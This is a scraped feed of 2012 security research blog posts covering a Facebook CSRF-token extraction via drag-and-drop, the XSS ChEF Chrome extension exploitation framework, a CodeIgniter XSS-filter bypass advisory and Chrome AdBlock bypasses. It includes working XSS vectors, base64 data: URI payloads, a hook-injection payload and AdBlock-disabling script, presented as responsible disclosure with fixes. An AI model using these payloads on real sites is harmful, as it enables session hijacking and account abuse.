Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com4tag:blogger.com,1999:blog-3650259870998252242.post-68181774734196480982012-08-24T17:23:00.000+02:002012-08-24T17:23:25.575+02:00Hack In Paris talk and future events<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
Videos of recent <a href="http://www.hackinparis.com/talks">Hack In Paris 2012</a> conference have just been published, among those there is a recording of my talk: "<b>HTML5 - something wicked this way comes</b>":<br />
<br /></div>
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="315" src="http://www.youtube.com/embed/d69wekxA2TE" width="560"></iframe><br />
<br />
With accompanying slides:<br />
<br />
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="356" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/13491300" style="border-width: 1px 1px 0; border: 1px solid #CCC; margin-bottom: 5px;" width="427"> </iframe> <br />
<div style="margin-bottom: 5px;">
<strong> <a href="http://www.slideshare.net/kkotowicz/html5-something-wicked-this-way-comes-hack-in-paris" target="_blank" title="Html5: Something wicked this way comes (Hack in Paris)">Html5: Something wicked this way comes (Hack in Paris)</a> </strong> from <strong><a href="http://www.slideshare.net/kkotowicz" target="_blank">Krzysztof Kotowicz</a></strong> </div>
<br />
Plans for next few months:<br />
<ul style="text-align: left;">
<li><a href="http://2012.brucon.org/index.php/Main_Page">BruCON</a> (24-25.09, Ghent, Belgium) - <a href="http://kos.io/">Kyle 'Kos' Osborn</a> & Krzysztof Kotowicz - <b>Advanced Chrome Extension Exploitation</b></li>
<li><a href="http://securitybsides.pl/">Security BSides</a> (12-14.10, Warsaw, Poland) - <b>I’m in your browser, pwning your stuff: Atakowanie poprzez rozszerzenia Google Chrome</b></li>
<li><a href="http://www.secure.edu.pl/">Secure 2012</a> (22-24.10, Warsaw, Poland) - <b>Atakowanie przy użyciu HTML5 w praktyce</b></li>
</ul>
<div>
And a few neat exploits in the queue, waiting to be released ;)</div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com6tag:blogger.com,1999:blog-3650259870998252242.post-14119489808123513172012-08-17T13:30:00.002+02:002012-08-17T19:08:08.715+02:00How Facebook lacked X-Frame-Options and what I did with it<div dir="ltr" style="text-align: left;" trbidi="on">
In September 2011 I've discovered a vulnerability that allows attacker to <b>partially take control over victim's Facebook account</b>. Vulnerability allowed, among other things, to send status updates on behalf of user and send friend requests to attackers' controlled Facebook account. The vulnerability has been responsibly disclosed as part of <a href="https://www.facebook.com/whitehat/bounty/">Facebook Security Bug Bounty</a> program and is now fixed.<br />
<a name='more'></a><h2>
Details</h2>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">http[s]://www.facebook.com/plugins/serverfbml.php</span> only used Javascript for <a href="http://en.wikipedia.org/wiki/Framekiller">frame-busting</a> and did not use <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">X-Frame-Options </span>header. It was possible to create <a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html">UI redressing content extraction</a> attack to trick user into dragging HTML source of that page into attacker's page. This relied on Firefox ability to display <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">view-source:</span> protocol pages in iframes AND the ability to perform drag & drop actions cross origin (So only Firefox users were affected).<br />
<br />
The mentioned page rendered <a href="https://developers.facebook.com/docs/reference/fbml/">FBML</a> specified in the <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">$_GET</span> parameter. In this case <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><form><fb:captcha></form></span> had been used as an exemplary FBML payload. In the server response there was a Javascript <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">Env</span> object with multiple sensitive user values:<br />
<pre class="javascript" name="code">{
user:100001652298988,
locale:"en_US",
method:"GET",
start:(new Date()).getTime(),
ps_limit:5,
ps_ratio:4,
svn_rev:441515,
static_base:"https:\/\/s-static.ak.facebook.com\/",
www_base:"http:\/\/www.facebook.com\/",
rep_lag:2,
post_form_id:"eecde0da0dc4bc800d385dde5dd37608",
fb_dtsg:"AQAUh3Jx",
lhsh:"0AQAQVvsl",
error_uri:".....",
retry_ajax_on_network_error:"1",
ajaxpipe_enabled:"1",
theater_ver:"2"
};</pre>
In the source, apart from user ID (privacy!), there are also two interesting values: <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">fb_dtsg</span> and <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">post_form_id</span>. These values alone are a form of anti <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)">CSRF</a> token used in Facebook, and, by knowing them attacker could e.g. post status updates on behalf of a logged in user. In Firefox it was possible to trick the user to select & drag these values to attacker's controlled page.<br />
<br />
So, if any user authenticated to Facebook navigated to attacker's URL (e.g. via a link shared by his friend) and played a game, attacker got access to HTML source of a vulnerable Facebook page and came into possession of user id and CSRF tokens. Having that, he could perform multiple CSRF requests, using the fact that victim's browser had appropriate FB cookies.<br />
<h2>
Demo</h2>
<iframe allowfullscreen="" frameborder="0" height="349" src="http://www.youtube.com/embed/cOYpdkrqLeg?hl=pl&fs=1" width="425"></iframe>
<span class="Apple-style-span">In the demo I'm using modified version of <a href="http://blog.skepticfx.com/2011/09/facebook-graph-api-access-token.html">double drag&drop UI redressing technique</a> developed by </span><span class="Apple-style-span"><a href="https://twitter.com/#!/skeptic_fx">Nafeez Ahamed (@skeptic_fx)</a>. As an exploitation example, a status update for victim user is posted, and a friend request is sent to another user (e.g. attacker). Of course, possibly more is possible with these tokens like sharing, liking a given URL, but I haven't researched that.</span><br />
<h2 style="text-align: left;">
Some fixes are quick, others...</h2>
Proposed fix was to use <span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">X-Frame-Options</span> at the mentioned page. Vulnerability in Facebook has been fixed, tested and deployed before Oct 14, 2011. However, the relevant Firefox bug #605991 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=605991">Drag-and-drop may be used to steal content across domains</a>) waited <b>2 years</b> and the fix has just been deployed in Firefox 14. As of Firefox 14 <b>you can no longer drag&drop content cross-domain</b>. So - update your Firefoxes and stay safe!<br />
<h2>
Hungry for more?</h2>
<ul style="text-align: left;">
<li><a href="http://www.slideshare.net/kkotowicz/html5-something-wicked-this-way-comes">HTML5: something wicked this way comes</a> - description of various current UI redressing vectors</li>
<li><a href="http://blog.kotowicz.net/2011/07/imgurcom-session-hijacking.html">Imgur.com session hijacking</a> - First attack using similar technique</li>
<li><a href="http://blog.kotowicz.net/2011/09/minuscom-silent-arbitrary-file-upload.html">Minus.com arbitrary file upload</a> - another one</li>
<li><a href="http://blog.skepticfx.com/2011/09/facebook-graph-api-access-token.html">Facebook Graph API token stealing</a> - description of double drag & drop</li>
</ul>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com11tag:blogger.com,1999:blog-3650259870998252242.post-19257527609894923762012-07-26T07:35:00.001+02:002012-07-26T07:41:02.354+02:00XSS ChEF - Chrome extension exploitation framework<div dir="ltr" style="text-align: left;" trbidi="on">
Recently I've been busy with my new little project. What started out as a proof of concept suddenly became good enough to <a href="http://www.blackhat.com/html/bh-us-12/bh-us-12-briefings.html#Osborn">demonstrate it with Kyle Osborn at BlackHat</a>, so I decided I might just present it here too ;)<br />
<a name='more'></a><br />
<h2>
Zombifying alert(1)</h2>
What do you do when you find XSS on a website? <span style="font-family: 'Courier New', Courier, monospace;">alert(1)</span> of course. What you can do instead is to try to make something bigger out of it. You have several options:<br />
<ul style="text-align: left;">
<li>If you're <a href="http://samy.pl/"><b>Samy</b></a>, you write a <a href="http://en.wikipedia.org/wiki/Samy_(computer_worm)">worm</a> (and you <a href="http://www.techspot.com/news/24226-myspace-speaks-about-samy-kamkars-sentencing.html">almost go to jail</a> in return because the worm is so successful)</li>
<li>If you're <b>a bad guy</b>, you redirect to an exploit-kit. </li>
<li>If you're <b>a pentester</b> - you can use that XSS for further exploitation.</li>
</ul>
<div>
Let's focus on this last case - you want to exploit the application. You can do that manually via some handcrafted JS code, you can use various libraries with ready-made features <span style="background-color: white;">(like </span><a href="http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html" style="background-color: white;">XSS-Track</a><span style="background-color: white;">) or you can inject a <a href="http://www.beefproject.com/">BeEF</a> hook and make your tested application a zombie ready to receive commands from the zombie master (i.e. <b>you</b>). BeEF is probably as good as it gets when it comes to exploiting XSS within web pages.</span><br />
<h2 style="text-align: left;">
<span style="background-color: white;">Chrome extensions are web apps too!</span></h2>
Chrome extensions are basically just HTML5 applications and can suffer from standard web vulnerabilities (read <span style="background-color: white;">our BlackHat whitepaper: </span><span style="background-color: white;"><a href="http://goo.gl/z9SwQ">Advanced Chrome Extension Exploitation: Leveraging API powers for Better Evil</a> for more details). </span><span style="background-color: white;">Among them our beloved </span><b style="background-color: white;">XSS</b><span style="background-color: white;">. Yes, as it turns out, XSS vulnerabilities in Chrome extensions are pretty common (again - see white paper).</span><br />
<br />
Exploiting XSS in Chrome extensions is way cooler though, because they have <b>much more capabilities</b> than the standard webpages. Depending on the permissions declared in the <a href="http://code.google.com/chrome/extensions/manifest.html">manifest</a>, they may be able to:<br />
<ul style="text-align: left;">
<li>get the content of every page that you visit (and URLs that you visit in incognito mode)</li>
<li>execute JS in context of <b>every</b> website (Global XSS)</li>
<li>take screenshots of your browser tabs</li>
<li>monitor and alter your browsing history & cookies (even httpOnly!)</li>
<li>access your bookmarks</li>
<li>even change your proxy settings</li>
</ul>
<div>
And, once you've got XSS, you can do all of the above within your payload. Once you know the details of the asynchronous <a href="http://code.google.com/chrome/extensions/api_index.html">chrome.*</a> APIs.</div>
<h2 style="text-align: left;">
But that's so cumbersome!</h2>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtsLpUJs4JUFLJ74ZJaDj-wb9cdqZ5mEhs79pM5QRfyLIR_yhPv-6WMFXZJiyjZVaSqaWQNd3JjV79FlTrAM0uzhU6uphvlm0fdLhtrSJWn19q49qzebP7bfncmTZA4EMMkTiYDKNauLs/s1600/xss-chef-medium.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtsLpUJs4JUFLJ74ZJaDj-wb9cdqZ5mEhs79pM5QRfyLIR_yhPv-6WMFXZJiyjZVaSqaWQNd3JjV79FlTrAM0uzhU6uphvlm0fdLhtrSJWn19q49qzebP7bfncmTZA4EMMkTiYDKNauLs/s1600/xss-chef-medium.png" /></a></div>
Yeah, I know. And I'm lazy too, so I've created a tool called <b><a href="https://github.com/koto/xsschef">XSS CheF - Chrome Extension Exploitation Framework</a> </b>which does the work for me. It's basically a BeEF equivalent for Chrome extensions. So, once you've found XSS vulnerability within Chrome extension, you can simply inject a payload like this:<br />
<br /></div>
<pre class="html" name="code"><img src=x onerror="if(location.protocol.indexOf('chrome')==0){
d=document;e=createElement('script');e.src='http://localhost/xsschef/hook.php';
d.body.appendChild(e);}">
</pre>
<div>
<br /></div>
<div>
to get total control over the whole browsing session via attacker's console.</div>
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu1S1U4VRZ10GDf4RsmLTPYXXxBlAg9PMfNLjYX7cUUCx9scu_eNB6yGHtjuMtZvRZLQfT_vjGtdX6jw1srYPDcLGOBbfchJAEM0Js4fXex5HF3Armw2rXA50J5dIW250V-4e1YxFNedQ/s1600/screenshot_02.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="385" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu1S1U4VRZ10GDf4RsmLTPYXXxBlAg9PMfNLjYX7cUUCx9scu_eNB6yGHtjuMtZvRZLQfT_vjGtdX6jw1srYPDcLGOBbfchJAEM0Js4fXex5HF3Armw2rXA50J5dIW250V-4e1YxFNedQ/s640/screenshot_02.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Console</td></tr>
</tbody></table>
<div>
<span style="background-color: white;">XSS ChEF is d</span><span style="background-color: white;">esigned from the ground up for exploiting extensions. It's fast (thanks to using WebSockets), and it comes p</span><span style="background-color: white;">reloaded with automated attack scripts:</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3sIs31WeMsPLCUssXuDbRFhnQtNXzTJhNbL0coPIL-vWPJS0RhO26aY0cGCXpkfCDS2FBDDq2CQG9PY2Oum_twFJM4rKgmGKdkgO9n8dqFio-U65WS0aiuSOazxdWUGavEpC8TdwMmrY/s1600/screenshot_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3sIs31WeMsPLCUssXuDbRFhnQtNXzTJhNbL0coPIL-vWPJS0RhO26aY0cGCXpkfCDS2FBDDq2CQG9PY2Oum_twFJM4rKgmGKdkgO9n8dqFio-U65WS0aiuSOazxdWUGavEpC8TdwMmrY/s320/screenshot_02.png" width="232" /></a></div>
<div>
<h2 style="text-align: left;">
Demo</h2>
<iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/KmIG2EKLP2M" width="420"></iframe>
<iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/uonVWh0QO1A" width="420"></iframe><br />
<h2 style="text-align: left;">
Download</h2>
<a href="https://github.com/koto/xsschef">XSS ChEF</a> is available on GitHub under GPLv3 license. As always - clone, download, test it and let me know how do you feel about it. Suggestions & contributions are more than welcome. </div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com2tag:blogger.com,1999:blog-3650259870998252242.post-73088485315070602872012-07-19T22:36:00.000+02:002012-07-19T22:48:36.974+02:00CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: white;">This is a security advisory for popular PHP framework - <a href="http://codeigniter.com/">CodeIgniter</a>. I've found several bypasses in xss sanitization functions in the framework. These were responsibly disclosed to the vendor and are now fixed in version 2.1.2. (CVE-2012-1915).</span><br />
<h2 style="text-align: left;">
<a name='more'></a>Affected products</h2>
<span style="background-color: white;">CodeIgniter <= 2.1.1 PHP framework and all CodeIgniter-based PHP applications using its built-in XSS filtering mechanism.</span><br />
<h2 style="text-align: left;">
CVE</h2>
CVE-2012-1915<br />
<h2 style="text-align: left;">
Introduction</h2>
CodeIgniter ( <a href="http://codeigniter.com/">http://codeigniter.com</a>) is a powerful PHP framework with a very small footprint, built for PHP coders who need a simple and elegant toolkit to create full-featured web applications. CodeIgniter comes with a Cross Site Scripting Hack prevention filter which can either run automatically to filter all POST and COOKIE data that is encountered, or you can run it on a per item basis. Several vectors bypassing claimed XSS filter protections have been found in 2.1.0 version of the framework. In cooperation with vendor, these have been<b> fixed in version 2.1.2</b>.<br />
<h2 style="text-align: left;">
Description</h2>
XSS filter of CodeIgniter framework is implemented in <span style="font-family: 'Courier New', Courier, monospace;">xss_clean()</span> function defined in <span style="font-family: 'Courier New', Courier, monospace;">system/core/Security.php</span> file. It uses multiple, mostly <b>blacklist</b>-oriented methods to detect and remove XSS payloads from the passed input. As per documentation of the filter ( <a href="http://codeigniter.com/user_guide/libraries/security.html">http://codeigniter.com/user_guide/libraries/security.html</a> ) the filter is supposed to be run on input passed to the application e.g. before saving data in the database i.e. it's not an output-escaping, but input sanitizing filter.<br />
<div>
<br /></div>
<div>
There are multiple ways to bypass the current version of the filters, exemplary vectors are given below:<br />
<br />
Different attribute separators and invalid regexp detecting tag closure too early (see also <a href="http://html5sec.org/#7">autofocus trick</a>)<br />
<pre class="html" name="code"><img/src=">" onerror=alert(1)>
<button/a=">" autofocus onfocus=alert&#40;1&#40;></button>
<button a=">" autofocus onfocus=alert&#40;1&#40;>
</pre>
Opera 11 svg bypass (by <a href="http://html5sec.org/#95">Mario Heiderich</a>)
<br />
<pre class="html" name="code"><svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"><feImage> <set
attributeName="xlink:href"
to="data:image/svg+xml;charset=utf-8;base64,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>
</feImage> </svg>
</pre>
data: URI with base64 encoding bypass exploiting Firefox <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=255107">origin-inheritance for data:uris</a>
<br />
<pre class="html" name="code"><a target="_blank"
href="data:text/html;BASE64youdummy,PHNjcmlwdD5hbGVydCh3aW5kb3cub3BlbmVyLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5pbm5lckhUTUwpPC9zY3JpcHQ+">clickme
in firefox</a>
<a/''' target="_blank"
href=data:text/html;;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpPC9zY3JpcHQ+>firefox11</a>
</pre>
<br />
These exemplary bypasses may be used to cause both reflected and stored XSS attacks depending on the way the application built with CodeIgniter uses the input filtering mechanism.<br />
<h2 style="text-align: left;">
Proof of concept</h2>
Build an application on CodeIgniter 2.1.0:<br />
<br />
<pre class="php" name="code">// application/controllers/xssdemo.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Xssdemo extends CI_Controller {
public function index() {
$data['xss'] = $this->security->xss_clean($this->input->post('xss'));
$this->load->view('xssdemo', $data);
}
}
// application/views/xssdemo.php
<form method=post>
<textarea name=xss><?php echo htmlspecialchars($xss); ?></textarea>
<input type=submit />
</form>
<p>XSS:
<hr />
<?php echo $xss ?>
</pre>
Launch http://app-uri/index.php/xssdemo and try above vectors.<br />
<h2 style="text-align: left;">
Mitigation</h2>
Upgrade to CodeIgniter >= 2.1.2. <b>Avoid using <span style="font-family: 'Courier New', Courier, monospace;">xss-clean()</span> function</b>. It's based on multiple blacklists and will therefore unavoidably be bypassable in the future. For input filtering, use HTMLPurifier ( <a href="http://htmlpurifier.org/">http://htmlpurifier.org/</a> ) instead.<br />
<h2 style="text-align: left;">
Credits</h2>
Vulnerability found by Krzysztof Kotowicz <kkotowicz at gmail dot com><br />
<a href="http://blog.kotowicz.net/">http://blog.kotowicz.net</a><br />
<h2 style="text-align: left;">
Timeline</h2>
2012.03.30 - Notified vendor</div>
<div>
2012.04.02 - Vendor response</div>
<div>
2012.04.03 - 2012.04.10 - Fixes coordinated with vendor</div>
<div>
2012.06.29 - v 2.1.2 released with fixes included</div>
<div>
2012.07.19 - Public disclosure</div>
</div>Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com10tag:blogger.com,1999:blog-3650259870998252242.post-81155647412645993722012-04-06T15:50:00.000+02:002012-04-06T15:50:45.236+02:00Fun with data: URLs<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<a href="http://en.wikipedia.org/wiki/Data_URI_scheme" target="_blank">Data URLs</a>, especially in their <span style="font-family: 'Courier New', Courier, monospace;">base64</span> encoding can <a href="http://blog.kotowicz.net/2011/10/piwik-151-multiple-xss-vulnerabilities.html" target="_blank">often</a> be used for <a href="http://html5sec.org/#50" target="_blank">anti XSS filter bypasses</a>. This gets even more important in Firefox and Opera, where newly opened documents <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=255107" target="_blank">retain access to opening page</a>. So attacker can trigger XSS with only this semi-innocent-link:<br />
<pre class="html" name="code"><a target=_blank href="data:text/html,<script>alert(opener.document.body.innerHTML)</script>">clickme in Opera/FF</a>
</pre>
or even use the base64 encoding of the URL:<br />
<pre name="code">data:text/html;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwrMTApPC9zY3JpcHQ+</pre>
Chrome will block the access to originating page, so that attacker has limited options:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsQdZT1EIkNFgYLmPnyCskvwi16oLyEnFJ1QtLiK3tcgtyEsXPdn-HRbhIhyphenhyphenkzdOxKh9aD-L5698qlwShdFGoDB8f4vtPrIob-N_dYRx1HJ4f03UYpvm0MLIUqbGMYMHBEp_GcgFBtruA/s1600/screenshot_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsQdZT1EIkNFgYLmPnyCskvwi16oLyEnFJ1QtLiK3tcgtyEsXPdn-HRbhIhyphenhyphenkzdOxKh9aD-L5698qlwShdFGoDB8f4vtPrIob-N_dYRx1HJ4f03UYpvm0MLIUqbGMYMHBEp_GcgFBtruA/s1600/screenshot_01.png" /></a></div>
<br />
But what if particular XSS filter knows about <span style="font-family: 'Courier New', Courier, monospace;">data:</span> URIs and tries to reject them? We bypass, of course :) I've been fuzzing <span style="font-family: 'Courier New', Courier, monospace;">data:</span> URIs syntax recently and I just thought you might find below examples interesting:
<br />
<pre class="text" name="code">data:text/html;base64wakemeupbeforeyougogo,[content] // FF, Safari
data:text/html:;base64,[content]
data:text/html:[plenty-of-whitespace];base64,[content]
data:text/html;base64,,[content] // Opera</pre>
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span><br />
Here are full fuzz results for vector:<br />
<span style="font-family: 'Courier New', Courier, monospace;">data:text,html;<before>base64<after>,[base64content]</span><br />
<br />
<table>
<thead>
<tr>
<th>Browser</th><th>Before (ASCII)</th><th>After (ASCII)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Firefox 11</td>
<td>9,10,13,59</td>
<td>anything</td>
</tr>
<tr>
<td>Safari 5.1</td>
<td>9,10,13,59</td>
<td>anything</td>
</tr>
<tr>
<td>Chrome 18</td>
<td>9,10,13,32,59</td>
<td>9,10,13,32,59</td>
</tr>
<tr>
<td>Opera 11.6</td>
<td>9,10,13,32,59</td>
<td>9,10,13,32,44,59</td>
</tr>
</tbody></table>
</div>
<br />
Not a ground-breaking result, but it may come in handy one day for you, like it did for me. </div>Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com5tag:blogger.com,1999:blog-3650259870998252242.post-92051567945652665392012-03-27T15:48:00.000+02:002012-03-29T11:10:20.517+02:00Chrome addons hacking: Bye Bye AdBlock filters!<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvFr8NLelQI2ZHzzJu3tA1z6MexJlagRIRQJXygJsD6EV0rlBY55fcj1q3kG2J8v8AD7tCrvQCMYcWev0O3Wlz1fKsBYw4FVFkEr8D3oCIf-OQ26x5w3keVHbKemX-NWUBqDha6ErDQGI/s1600/icon128.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvFr8NLelQI2ZHzzJu3tA1z6MexJlagRIRQJXygJsD6EV0rlBY55fcj1q3kG2J8v8AD7tCrvQCMYcWev0O3Wlz1fKsBYw4FVFkEr8D3oCIf-OQ26x5w3keVHbKemX-NWUBqDha6ErDQGI/s1600/icon128.png" /></a></div>
Continuing the Chrome extension hacking (see <a href="http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html" target="_blank">part 1</a> and <a href="http://blog.kotowicz.net/2012/02/chrome-addons-hacking-want-xss-on.html" target="_blank">2</a>), this time I'd like to draw you attention to the oh-so-popular <a href="https://chrome.google.com/webstore/detail/gighmmpiobklfepjocnamgkkbiglidom">AdBlock</a> extension. It has <b>over a million users</b>, is being actively maintained and is a piece of a great software (heck, even I use it!). However - due to how Chrome extensions work in general it is still <b>relatively easy to bypass</b> it and display some ads. Let me describe two distinct vulnerabilities I've discovered. They are both exploitable in the newest 2.5.22 version.<br />
<br />
<b>tl;dr: </b>Chrome AdBlock 2.5.22 bypasses, demo <a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/bypass.html" target="_blank">here</a> and <a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/disable.html" target="_blank">here</a>, but I'd advise you to read on.<br />
<a name='more'></a><h2>
Preparation</h2>
If you want to analyze the extension code yourself, use my <a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/download.php">download script</a> to fetch the addon from Chrome Web Store and read on:<br />
<pre class="brush:bash" name="code">// you need PHP with openssl extension and command line unzip for this
$ mkdir addons
$ php download.php gighmmpiobklfepjocnamgkkbiglidom AdBlock
</pre>
Of course, you don't need to, but if you won't it makes me sad :/<br />
<h2>
Small bypass - disabling filter injection</h2>
Like many Chrome extensions, AdBlock alters the content of the webpages you see by modifying a page DOM. For example, it injects a <span style="font-family: 'Courier New', Courier, monospace;"><link rel=stylesheet> </span>that hides all ads with <a href="http://en.wikipedia.org/wiki/Cascading_Style_Sheets">CSS</a>. This all happens in <span style="font-family: 'Courier New', Courier, monospace;">adblock_start_common.js</span>:
<br />
<pre class="javascript" name="code">function block_list_via_css(selectors) {
var d = document.head || document.documentElement;
//....
// Issue 6480: inserting a <style> tag too quickly made it be ignored.
// Use ABP's approach: a <link> tag that we can check for .sheet.
var css_chunk = document.createElement("link");
css_chunk.type = "text/css";
css_chunk.rel = "stylesheet";
css_chunk.href = "data:text/css,";
d.insertBefore(css_chunk, null);
// ... and fill the node contents later on
</pre>
Sweet & cool, right? But the problem is websites have <a href="http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html">tons of ways</a> to defend themselves from being altered. After all, it's <i>their</i> DOM you're messing with. So, the easiest bypass would be to listen for anyone adding a stylesheet and removing it.<br />
<pre class="javascript" name="code">function block(node) {
if ( (node.nodeName == 'LINK' && node.href == 'data:text/css,') // new style
|| (node.nodeName == 'STYLE' && node.innerText.match(/^\/\*This block of style rules is inserted by AdBlock/)) // old style
) {
node.parentElement.removeChild(node);
}
}
document.addEventListener("DOMContentLoaded", function() {
document.addEventListener('DOMNodeInserted', function(e) {
// disable blocking styles inserted by AdBlock
block(e.target);
}, false);
}, false);
</pre>
In the effect the stylesheet is removed and the ads are not hidden anymore. <b>See in the <a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/bypass.html" target="_blank">demo</a></b>. This is similar to how many Chrome extensions work. Extension authors should remember that <b>you can't rely on page DOM to be cool with you, it can actively prevent modification. </b>In other words, it's not your backyard, behave.<br />
<h2>
Total bypass - Disable AdBlock for good</h2>
The previous one was a kid's play, but the real deal is here. Any website can <a href="http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html" target="_blank">detect</a> if you're using Chrome AdBlock and disable it completely for the future. It is possible thanks to a vulnerability in a filter subscription page. Subscription code works by launching <span style="font-family: 'Courier New', Courier, monospace;">chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages/subscribe.html</span> page. Here's what happens:<br />
<pre class="brush:js; highlight:[3,8,9]" name="code">// pages/subscribe.js
//Get the URL
var queryparts = parseUri.parseSearch(document.location.search);
...
//Subscribe to a list
var requiresList = queryparts.requiresLocation ?
"url:" + queryparts.requiresLocation : undefined;
BGcall("subscribe",
{id: 'url:' + queryparts.location, requires:requiresList});
</pre>
First, the query string for the page is parsed and than a subscription request is sent to <a href="http://code.google.com/chrome/extensions/background_pages.html" target="_blank">extension background page</a> getting the location parameter. So, when extension launches <span style="font-family: 'Courier New', Courier, monospace;">subscribe.html?location=http://example.com </span>this will subscribe to a filter from URL <span style="font-family: 'Courier New', Courier, monospace;">http://example.com</span>.<br />
<br />
All neat, but what extension authors don't know, <b>standard web pages page can load your extension resources too</b>. In the future, extension authors can limit this by using <span style="font-family: 'Courier New', Courier, monospace;"><a href="http://code.google.com/chrome/extensions/trunk/manifest.html#web_accessible_resources" target="_blank">web_accessible_resources</a></span>, but for Current Chrome 17 it's not possible.<br />
<br />
So, what is the easiest way to disable Chrome AdBlock? Make it subscribe to a <a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/adblock/list.txt" target="_blank">whitelist-all</a> list:
<br />
<pre class="js" name="code"><iframe style="position:absolute;left:-1000px;" id="abp" src=""></iframe>
//...
document.getElementById('abp').src = 'chrome-extension://'+addon_id + '/pages/subscribe.html?location=' + location.href.replace('disable.html', 'list.txt');
</pre>
<b>See for yourself in the <a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/disable.html" target="_blank">demo</a>. </b><br />
To reenable AdBlock functionality go to extension settings, choose the filter list tab and disable the last added filter (<span style="font-family: 'Courier New', Courier, monospace;">koto.github.com</span> one).<br />
<br />
How to fix this in the code? <b>Don't rely on the URL of your extension resource to perform some action.</b></div>Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com37tag:blogger.com,1999:blog-3650259870998252242.post-68601088522439408972012-02-21T20:42:00.004+01:002012-02-21T20:42:58.462+01:00Chrome addons hacking: want XSS on google.com?<div dir="ltr" style="text-align: left;" trbidi="on">
